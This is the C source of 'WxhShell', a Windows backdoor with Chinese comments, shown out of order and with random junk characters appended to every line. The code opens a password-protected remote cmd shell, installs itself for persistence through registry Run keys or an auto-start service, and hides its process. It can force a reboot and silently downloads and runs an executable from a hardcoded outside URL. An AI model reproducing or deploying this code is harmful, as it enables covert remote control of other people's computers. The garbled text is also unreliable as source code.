    if(Boot(SHUTDOWN)) \#'m([<e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7<F{a"5P  
    else { f[$Z<:D-ve  
    closesocket(wsh); WTC/mcS  
    ExitThread(0); oJ 0 #U  
    } }M(XHw  
    break; _^w^tfH]  
    } X5P1wxk'  
  // 获取shell RJOyPZ]  
  case 's': { P76QHBbl  
    CmdShell(wsh); k8ymOx  
    closesocket(wsh); wpJfP_H  
    ExitThread(0); N..@}}  
    break; _8?r!D#P;s  
  } f{R/rb&iB  
  // 退出 1uc;:N G=  
  case 'x': { @ |7e~U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S#Pni}JD  
    CloseIt(wsh); Q"`J-#L  
    break; ^Pc&`1Ap  
    } G^w:c]  
  // 离开 MSS0Sx<f  
  case 'q': { !r_2b! dy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t. kOR<  
    closesocket(wsh); myWa>Mvb  
    WSACleanup(); (w, Gv-S  
    exit(1); h4? 'd+K  
    break; 6\/(TW&  
        } &28%~&L  
  } =MMSmu5!  
  } <o_(,,P%  
:#spL*FIx  
  // 提示信息 h@(S];.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P:HmT   
} K2pW|@~U  
  } ~@ hiLW  
}tH6E  
  return; GMoE,L  
} :+}Eo9  
Jg%jmI;Y  
// shell模块句柄 kT4Tb%7KM  
int CmdShell(SOCKET sock) ;PX>] r5U0  
{ Q2!vO4!<N  
STARTUPINFO si; >[gNQJ6  
ZeroMemory(&si,sizeof(si)); gLPgh%B4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s4{>7`N2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +,ojlTVlt  
PROCESS_INFORMATION ProcessInfo; vBjrI*0  
char cmdline[]="cmd"; wO ?A/s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,qO2D_  
  return 0; %$SO9PY  
} [NIaWI,>  
i;}mIsNBY  
// 自身启动模式 +`~6Weay  
int StartFromService(void) l)( 3]  
{ A<s9c=d6  
typedef struct qCgoB 0  
{ SpX6PwM  
  DWORD ExitStatus; kG$U  
  DWORD PebBaseAddress; vTUhIFa{  
  DWORD AffinityMask; H~r":A'"*  
  DWORD BasePriority; Lkl ^ `  
  ULONG UniqueProcessId; Mi&jl_&  
  ULONG InheritedFromUniqueProcessId; $|bdeQPr\  
}   PROCESS_BASIC_INFORMATION; &>%9JXU  
R3%&\<a)9  
PROCNTQSIP NtQueryInformationProcess; _V-pr#lP1  
DS1_hbk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nf9NJ_8}4H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 16R0#Q/{+*  
V'&`JZK6  
  HANDLE             hProcess; ww$Ec  
  PROCESS_BASIC_INFORMATION pbi; ^5BQ=  
\J,pV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O4A{GO^q  
  if(NULL == hInst ) return 0; #=\nuT'oy  
/#I~iYPe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uiIS4S_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L9":=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lcYjwA  
Z</.Ss 4  
  if (!NtQueryInformationProcess) return 0; x 2Cp{+}  
&+zS4)UK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C(kIj  
  if(!hProcess) return 0; 9&} i[x4  
DDwm;,eZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N.@@ebuE  
sW]fPa(cn,  
  CloseHandle(hProcess); aJ^RY5  
]KE"|}B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B(h%>mT[  
if(hProcess==NULL) return 0; TdWatvY5p  
,@4~:OY  
HMODULE hMod; \RDS~u\d  
char procName[255]; C4^o= 6{  
unsigned long cbNeeded; 6#DDMP8;I  
X{G&r$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #1oyRD-  
y$C\b\hM  
  CloseHandle(hProcess); ErXzKf  
u</LgOP`-  
if(strstr(procName,"services")) return 1; // 以服务启动 <P1yA>=3`  
:M _N  
  return 0; // 注册表启动 ZF~@a+o  
} ,37\8y?o\  
N-:.z]j#_  
// 主模块 S{#L7S  
int StartWxhshell(LPSTR lpCmdLine) K#!c<Li#  
{ .bvEE  
  SOCKET wsl; dcbE<W#ss  
BOOL val=TRUE; &Y3 r'"  
  int port=0; 5Gw B1}q  
  struct sockaddr_in door; pa8R;A70Dl  
hX9vtV5L  
  if(wscfg.ws_autoins) Install(); N>Q~WXvV#  
*\PCMl  
port=atoi(lpCmdLine); S@Q4fmH  
#)PAvBJ;m  
if(port<=0) port=wscfg.ws_port; !rZ r:@  
r!e:sJAB.  
  WSADATA data; WCUaXvw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z(:q.{"r  
{k8R6l1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~D\zz }l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f'?FYBL  
  door.sin_family = AF_INET; <b#1L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L| K8  
  door.sin_port = htons(port); zW9/[Db  
&ku.Q3xGs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +nU=)x?38  
closesocket(wsl); ~ NZC0&  
return 1; IB\O[R$x  
} }NpN<C+  
wlsq[x P  
  if(listen(wsl,2) == INVALID_SOCKET) { 0 n}2D7  
closesocket(wsl); -"uOh,G}  
return 1; *r(Qy0(  
} {U"=}j(  
  Wxhshell(wsl); HP2J`>oo  
  WSACleanup(); !hWS%m@  
yB2}[1  
return 0; o'J^kd`  
*!m(oP  
} v@ifB I  
JpE7"Z"~MS  
// 以NT服务方式启动 hAU@}"=G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ym|%ka  
{ E)F#Z=)  
DWORD   status = 0; \zLKSJ]  
  DWORD   specificError = 0xfffffff; [PX%p ;"D  
nAaY5s0D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CWY-}M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; buKSZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]e6$ ={  
  serviceStatus.dwWin32ExitCode     = 0; Q4ZKgcC  
  serviceStatus.dwServiceSpecificExitCode = 0; 8@,8j!$8G  
  serviceStatus.dwCheckPoint       = 0; s((c@)M  
  serviceStatus.dwWaitHint       = 0; GUn$IPOM  
B]u!BBjC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lsA?|4`mn  
  if (hServiceStatusHandle==0) return; %sCG}? y  
sWv!ig_  
status = GetLastError(); sZPyEIXie  
  if (status!=NO_ERROR) 9%Qlg4~<s  
{ V `7(75  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OF/hD2V  
    serviceStatus.dwCheckPoint       = 0; [P*zm8b  
    serviceStatus.dwWaitHint       = 0; &oxHVZJ  
    serviceStatus.dwWin32ExitCode     = status; wA\a ]X.  
    serviceStatus.dwServiceSpecificExitCode = specificError; D6,Ol4d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kX%vTl7F  
    return; g&I|@$\  
  } ; ,n}>iTE  
suHi sc*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L@"&s#~=3  
  serviceStatus.dwCheckPoint       = 0; %>- ?oor  
  serviceStatus.dwWaitHint       = 0; =z zmz7op  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `Z^\<{z  
} [JYy  
P&IS$FC.\  
// 处理NT服务事件,比如:启动、停止 :!yPR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~s*kuj'%+  
{ &} r-C97  
switch(fdwControl) S SfNI>  
{ d <RJH  
case SERVICE_CONTROL_STOP: w@WPp0mny  
  serviceStatus.dwWin32ExitCode = 0; Fv<3VKueK[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _N:GZLG  
  serviceStatus.dwCheckPoint   = 0; UM2yv6:/  
  serviceStatus.dwWaitHint     = 0; =[,EFkU?B  
  { !v. <H]s)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lYT_Y.%I  
  } MY'T%_i d  
  return; B?l 0u  
case SERVICE_CONTROL_PAUSE: 9Ed=`c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x>tsI}C  
  break; @%jY  
case SERVICE_CONTROL_CONTINUE: c 5 `74g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e$7KMH=  
  break; W`uq,r0Xsy  
case SERVICE_CONTROL_INTERROGATE: ;FJFr*PM  
  break; 35J VF*z  
}; CbwQbJ/v7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pk>S;KT.  
} nK}-^Ur  
Qs ysy  
// 标准应用程序主函数 j'`-3<k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KW!+Ws  
{ gx8i|]  
Y`."=8R~  
// 获取操作系统版本 P9W?sPnC5  
OsIsNt=GetOsVer(); t;`ULp~&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /ke[nr  
mt~E&Z(A  
  // 从命令行安装 E24j(>   
  if(strpbrk(lpCmdLine,"iI")) Install(); 2~R%_r+<  
s|I$c;>  
  // 下载执行文件 CEAmb[h  
if(wscfg.ws_downexe) { vNju|=Lo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9_O6Sl  
  WinExec(wscfg.ws_filenam,SW_HIDE); |w{C!Q8l  
} CB#B!;I8v  
]k8f1F  
if(!OsIsNt) { f@2F!  
// 如果时win9x,隐藏进程并且设置为注册表启动 3$S~!fh  
HideProc(); ZW4$Ks2]Y  
StartWxhshell(lpCmdLine); GI@;76Qf  
} q4v:s   
else Tp|>(~;ai  
  if(StartFromService()) 1Tr%lO5?6  
  // 以服务方式启动 @}2EEo#  
  StartServiceCtrlDispatcher(DispatchTable); ~E/=nv$  
else 7'#_uA QR  
  // 普通方式启动 V"B/4v>  
  StartWxhshell(lpCmdLine); f!H/X%F  
7Ck3L6J#  
return 0; C80< L5\  
} vqZBDQ0  
ZL:SJ,C  
zI\+]U'  
Wt=\hixj-  
=========================================== 4;Vi@(G)  
V(8,94vm  
'rTJ*1i  
!^o{}*]Pi  
[jksOC)@4  
*(qj!U43  
" x6^Y&,y9kU  
o/Q|R+yXV  
#include <stdio.h> O8cZl1C3  
#include <string.h> #d06wYz=  
#include <windows.h> W 1u!&:O  
#include <winsock2.h> -2(?O`tZ  
#include <winsvc.h> -+M360  
#include <urlmon.h> c&N;r|N  
jgS3#  
#pragma comment (lib, "Ws2_32.lib") KMK8jJ  
#pragma comment (lib, "urlmon.lib") |f/Uzd ~  
VN (*m(b  
#define MAX_USER   100 // 最大客户端连接数 t{QQ;'  
#define BUF_SOCK   200 // sock buffer Pd-LDs+Ga  
#define KEY_BUFF   255 // 输入 buffer `HO] kJpX  
s 0_*^cZ  
#define REBOOT     0   // 重启 (> _Lb  
#define SHUTDOWN   1   // 关机 |rG)Q0H,  
!dUdz7  
#define DEF_PORT   5000 // 监听端口 EeT 69o  
gwdAf%|f  
#define REG_LEN     16   // 注册表键长度 a 9{:ot8,  
#define SVC_LEN     80   // NT服务名长度 _aBy>=2c$  
u! &T}i:  
// 从dll定义API 5423Ky<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  wlsx|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;^u,[d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _C (fz CK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {}rnn$HQe  
5Zd oem  
// wxhshell配置信息 FJ4,|x3v[x  
struct WSCFG { .6LRg  
  int ws_port;         // 监听端口 D9NQ3[R 9  
  char ws_passstr[REG_LEN]; // 口令 5gII|8>rQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no >*opEI+  
  char ws_regname[REG_LEN]; // 注册表键名 Qc)i?Z'6  
  char ws_svcname[REG_LEN]; // 服务名 REYvFx?i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c~O Lr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vo+.s#wN`h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9_nbMs   
int ws_downexe;       // 下载执行标记, 1=yes 0=no '=%`;?j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %l14K_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *v]s&$WyO  
NL>Trv5  
}; ^)I}#  
G;iH.rCH  
// default Wxhshell configuration TET=>6  
struct WSCFG wscfg={DEF_PORT, lM}-'8tt?  
    "xuhuanlingzhe", iF":c}$.  
    1, /H"fycZ  
    "Wxhshell", 09 trFj$L  
    "Wxhshell", [z ]P5  
            "WxhShell Service", MmfBFt*  
    "Wrsky Windows CmdShell Service", ?o$ t{AQ  
    "Please Input Your Password: ", #z _<{' P"  
  1, ^_g%c&H  
  "http://www.wrsky.com/wxhshell.exe", ('Qq"cn#  
  "Wxhshell.exe" ]jC{o,?s  
    }; <#4""FO*  
&VA^LS@b  
// 消息定义模块 iw=e"6V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L+p}%!g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0ju-l= w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; leb/D>y  
char *msg_ws_ext="\n\rExit."; q g=`=]j  
char *msg_ws_end="\n\rQuit."; 'I+S5![<  
char *msg_ws_boot="\n\rReboot..."; %8|lAMTY7/  
char *msg_ws_poff="\n\rShutdown..."; 9jY+0h*uP  
char *msg_ws_down="\n\rSave to "; f<iK%  
|>.MH  
char *msg_ws_err="\n\rErr!"; Hg<aU*o;  
char *msg_ws_ok="\n\rOK!"; 7M7Lj0Y)L  
K-)!d$$   
char ExeFile[MAX_PATH]; \8!CKnfs  
int nUser = 0; d'ZB{'[8p  
HANDLE handles[MAX_USER]; y< j7iN  
int OsIsNt; |LZ{kD|  
O8b#'f~  
SERVICE_STATUS       serviceStatus; u"(NN9s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4'*-[TKC  
V0Oqq0\  
// 函数声明 3@\/5I xn  
int Install(void); ][tR=Y#&y5  
int Uninstall(void); hU-FSdR  
int DownloadFile(char *sURL, SOCKET wsh); !reOYt|  
int Boot(int flag); =pi,]m  
void HideProc(void); NfPWcK [  
int GetOsVer(void); 7yT/t1)  
int Wxhshell(SOCKET wsl); *EvW: <  
void TalkWithClient(void *cs); )mf|3/o  
int CmdShell(SOCKET sock); l7jen=(Zb;  
int StartFromService(void); tc[Ld#  
int StartWxhshell(LPSTR lpCmdLine); )W p7e51  
} % Ie  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 89^g$ ac  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pTG[F  
Y:O|6%00Y  
// 数据结构和表定义 O50<h O]l  
SERVICE_TABLE_ENTRY DispatchTable[] = E56  
{ %q3`k#?<  
{wscfg.ws_svcname, NTServiceMain}, gBh X=2%  
{NULL, NULL} Vm\zLWNB  
}; ukEJD3i  
;lb  
// 自我安装 g[1>|Ax`'  
int Install(void) ]?H12xz  
{ - K?lhu  
  char svExeFile[MAX_PATH]; ^*`#+*C  
  HKEY key; Jh=.}FXnjL  
  strcpy(svExeFile,ExeFile); l$\B>u,>  
qhvT,"  
// 如果是win9x系统,修改注册表设为自启动 3{|~'5*  
if(!OsIsNt) { 1!G}*38;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1}Q9y`65  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &.DRAD)  
  RegCloseKey(key); 7r' _p$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {g1"{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VFZ?<m  
  RegCloseKey(key); ,M?8s2?  
  return 0; u8KQV7E  
    } Dt[+HCCY:  
  } -.? @f tY  
} b<4nljbx  
else { 3%(r,AD  
Be@g|'r  
// 如果是NT以上系统,安装为系统服务 R|(X_A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NYP3u_ QX  
if (schSCManager!=0) ~Yg) 8  
{ \9OKf|#j  
  SC_HANDLE schService = CreateService \RR` F .7  
  ( BWxJ1ENM  
  schSCManager, ?2da6v,t  
  wscfg.ws_svcname, f!yl&ulKU  
  wscfg.ws_svcdisp, 5j.@)XXe  
  SERVICE_ALL_ACCESS, Xwo+iZ(a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "Hz%0zP&  
  SERVICE_AUTO_START, $`W3`}#fM  
  SERVICE_ERROR_NORMAL, }"WovU{*s  
  svExeFile, (_ :82@c  
  NULL, Zl&ED{k<  
  NULL, 2;"vF9WMm  
  NULL, 8%u|[Si;  
  NULL, $`7Fk%#+e  
  NULL 6M7GPHah  
  ); 0n6eWwY  
  if (schService!=0) R[l`# I  
  {  w (RRu~J  
  CloseServiceHandle(schService); GB}\7a  
  CloseServiceHandle(schSCManager); HAI) +J   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); % vy,A*  
  strcat(svExeFile,wscfg.ws_svcname); Gr&e]M[l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N".BC|r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U W8yu.`?  
  RegCloseKey(key); 7Ko*`-p  
  return 0; P.q7rk<  
    } B,_K mHItd  
  } E_A5KLP  
  CloseServiceHandle(schSCManager); AEnkx!o  
} M0lJyz J  
} r`<e<C  
k6z ]-XG  
return 1; qS! Lt3+  
} ~= c 5q  
bws}'#-*  
// 自我卸载 zE1=P/N  
int Uninstall(void) QnBWZUI  
{ xg, 9~f[  
  HKEY key; ob/<;SrU<  
@.a59kP8X  
if(!OsIsNt) { mD% qDKI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C.#Ha-@uz  
  RegDeleteValue(key,wscfg.ws_regname); 3]9wfT%d  
  RegCloseKey(key); ,7s+-sRG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZG1TR F "  
  RegDeleteValue(key,wscfg.ws_regname); ^pu8\K;~  
  RegCloseKey(key); k=kkF"  
  return 0; /*fx`0mY)  
  } G)NqIur*Z  
} wAW{{ p  
} 8r"-3<*  
else { w/ZP. B  
r*mSnPz\q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YKU|D32  
if (schSCManager!=0) $-pijBiz_  
{ BjPU@rS .U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,.2qh|Ol  
  if (schService!=0) /^jl||'H,:  
  { :oW 16m1`  
  if(DeleteService(schService)!=0) { XSN=0N!GB  
  CloseServiceHandle(schService); P8h|2,c%  
  CloseServiceHandle(schSCManager); JBHPI@Qt%  
  return 0; @>$qb|j  
  } H)Me!^@[D  
  CloseServiceHandle(schService); 'j{o!T0  
  } p ]jLs|tat  
  CloseServiceHandle(schSCManager); n05GM.|*s  
} A9]& w  
} _]ZlGq!L  
J Bq6Qg  
return 1; 'J0I$-QYk  
} J,:;\Xhl  
CF-tod  
// 从指定url下载文件 l?_Fy_fBt  
int DownloadFile(char *sURL, SOCKET wsh) rrEf<A}  
{ 8EJP~bt  
  HRESULT hr; |%|Vlu  
char seps[]= "/"; x;:jF_  
char *token; ADOA&r[  
char *file; A2L"&dl  
char myURL[MAX_PATH]; ?-2s}IJO  
char myFILE[MAX_PATH]; XefmC6X  
~@Bw(!  
strcpy(myURL,sURL);  `5(F'o  
  token=strtok(myURL,seps); iT| 7**+3  
  while(token!=NULL) sd B(sbSF  
  { S?JGg.)  
    file=token; vN_ 8qzWk  
  token=strtok(NULL,seps); *fj]L?,  
  } 60ciI,_`  
m}D;=>2$  
GetCurrentDirectory(MAX_PATH,myFILE); Q;z!]hjBM  
strcat(myFILE, "\\"); RS&BS;  
strcat(myFILE, file); -e0[$v  
  send(wsh,myFILE,strlen(myFILE),0); Ylu\]pr9|C  
send(wsh,"...",3,0); 8BZ&-j{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <2<2[F5Q%  
  if(hr==S_OK) T+RC#&>  
return 0; [r Nd7-j <  
else t~4Cf])  
return 1; -'D ~nd${  
w8$> 2  
} `bV&n!Y_  
.)WEg|D0Ku  
// 系统电源模块 (xTGt",_Jo  
int Boot(int flag) {fV$\^c  
{ `jOk6;Z[  
  HANDLE hToken; \JR^uJ{Y  
  TOKEN_PRIVILEGES tkp; 4:**d[|1  
+hispU3ia  
  if(OsIsNt) {  tKh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %;u"2L0@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >/ A'G  
    tkp.PrivilegeCount = 1; +`1~zcu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OR $i,N|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )/Eu=+d  
if(flag==REBOOT) { q=`n3+N_H~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #rr!A pJ  
  return 0; nnT#S  
} I][&*V1  
else { Np$&8v+en  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -L6CEe  
  return 0; [iO8R-N8d  
} iV#A-9  
  } [\h?mlG?  
  else { PP!-*~F0Jr  
if(flag==REBOOT) { A X1!<K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?fC9)s  
  return 0; .Oc j|A6  
} (.Ak*  
else {  CDuA2e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *pnaj\  
  return 0; Uz rf,I[  
} 6L\]Ee  
} t18j2P>`  
EVaHb;  
return 1; 6:; >id${  
} LCj3{>{/=  
/5L\:eX%  
// win9x进程隐藏模块 ?mK&Slh.  
void HideProc(void) 3pW4Ul@e  
{ Qmo}esb'(  
@+p(%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ='qVwM['  
  if ( hKernel != NULL ) Hsv)] %p  
  { wWf_d jd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tk h *su  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q I~*G3  
    FreeLibrary(hKernel); yoF*yUls^E  
  } .b<W*4{j0H  
kFmtE dhsc  
return; <,/7:n  
} J#i7'9g  
ErJ@$&7  
// 获取操作系统版本 BV7P_!vt  
int GetOsVer(void) X2% (=B  
{ W1)<!nwA  
  OSVERSIONINFO winfo; W+"^!p|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0MxK+8\y  
  GetVersionEx(&winfo); SVd@- '-K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !plu;w  
  return 1; OQ wO7Z  
  else O_.!qk1R  
  return 0; qAbmQ{|w  
} fXl2i]L(^B  
C%]qK(9vvd  
// 客户端句柄模块 I"lzOD; eI  
int Wxhshell(SOCKET wsl) SRk!HuXh  
{ X?< L<:.  
  SOCKET wsh; X9FO"(J  
  struct sockaddr_in client; ly6zz|c5  
  DWORD myID; <BZC5b6  
oCI\yp@a  
  while(nUser<MAX_USER) ,5}w]6bCr  
{ TKsP#Dt/  
  int nSize=sizeof(client); 1>L'F8"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #Y'b?&b  
  if(wsh==INVALID_SOCKET) return 1; hqjjd-S0  
);t+~YPS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q#qfuwz  
if(handles[nUser]==0) u'_}4qhCC;  
  closesocket(wsh); }Kp<w,  
else .S/zxf~h  
  nUser++; 0}`-vOLd-  
  } ##xvuLy-6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3Os0<1@H  
t[X^4bZd  
  return 0; \**j \m   
} ?{`7W>G  
A]i!131{w|  
// 关闭 socket ]Z6? m  
void CloseIt(SOCKET wsh) S`FIb'J  
{ v;;3 K*c>  
closesocket(wsh); p0zC(v0*  
nUser--; LK}FI* A_  
ExitThread(0); vo*oCfm  
} 6XU p$Pd(  
BU??}{  
// 客户端请求句柄 s>L.V2!$0  
void TalkWithClient(void *cs) 7t<MHdw  
{ h| wdx(4  
?#Z4Dg 9|  
  SOCKET wsh=(SOCKET)cs; \ ya@9OA  
  char pwd[SVC_LEN]; VWHpfm[r%  
  char cmd[KEY_BUFF]; UdnRsp9S  
char chr[1]; 6<fG; :  
int i,j; MO7R3PP  
~AX~z)  
  while (nUser < MAX_USER) { _FE uQ9E  
NjEi.]L*fX  
if(wscfg.ws_passstr) { xYYa%PhIC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s9nPxC&A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2Zuo).2a.  
  //ZeroMemory(pwd,KEY_BUFF); '#LzQ6Pn  
      i=0; FG{les+:  
  while(i<SVC_LEN) { )&>W/56/  
YMK ![ q-  
  // 设置超时 K@cWg C  
  fd_set FdRead; ~KkC089D  
  struct timeval TimeOut; we^' R}d  
  FD_ZERO(&FdRead); 5BXku=M  
  FD_SET(wsh,&FdRead); t;h`nH[  
  TimeOut.tv_sec=8; Rky]F+J  
  TimeOut.tv_usec=0; 0!lWxS0#=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *DfOm`m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a oU"  
/(5"c>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,z/aT6M?H  
  pwd=chr[0]; *. |%uf.  
  if(chr[0]==0xd || chr[0]==0xa) { !\BZ_guz  
  pwd=0; t4v'X}7q]  
  break; oU\7%gQ  
  } ?-mOAHW0q  
  i++; 9.M'FCd~M  
    } o#f"wQH;p  
N\|z{vn  
  // 如果是非法用户,关闭 socket OQ?N_zs,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &U|c=$!\  
} J({D~  
f ?k0(rl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r W[;3yMf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %ZWt 45A  
Pm/i,T6&\  
while(1) { P o@;PR=  
I]e+5 E0  
  ZeroMemory(cmd,KEY_BUFF); U[?_|=~7  
Zc1x"j  
      // 自动支持客户端 telnet标准   ;;+AdN5  
  j=0; TMPk)N1Ka  
  while(j<KEY_BUFF) { Yr-SlO>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I)FFh%m<}a  
  cmd[j]=chr[0]; 9N9&y^SmD  
  if(chr[0]==0xa || chr[0]==0xd) { >rEZ$h  
  cmd[j]=0; T*C25l;w  
  break; 9c)#j&2?H  
  } \N0vA~N.  
  j++; ~>=.^  
    } EyPJ Jc8  
PZ8,E{V  
  // 下载文件 ,k4pW&A  
  if(strstr(cmd,"http://")) { bGeIb-|(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B1nm?E 0i  
  if(DownloadFile(cmd,wsh)) $-1ajSVJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o(jLirnk  
  else Zhfg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ktTP~7UVi  
  } W$zRUG-  
  else { +8//mrL_/  
v~L\[&|_  
    switch(cmd[0]) { iG6]Pr|;e  
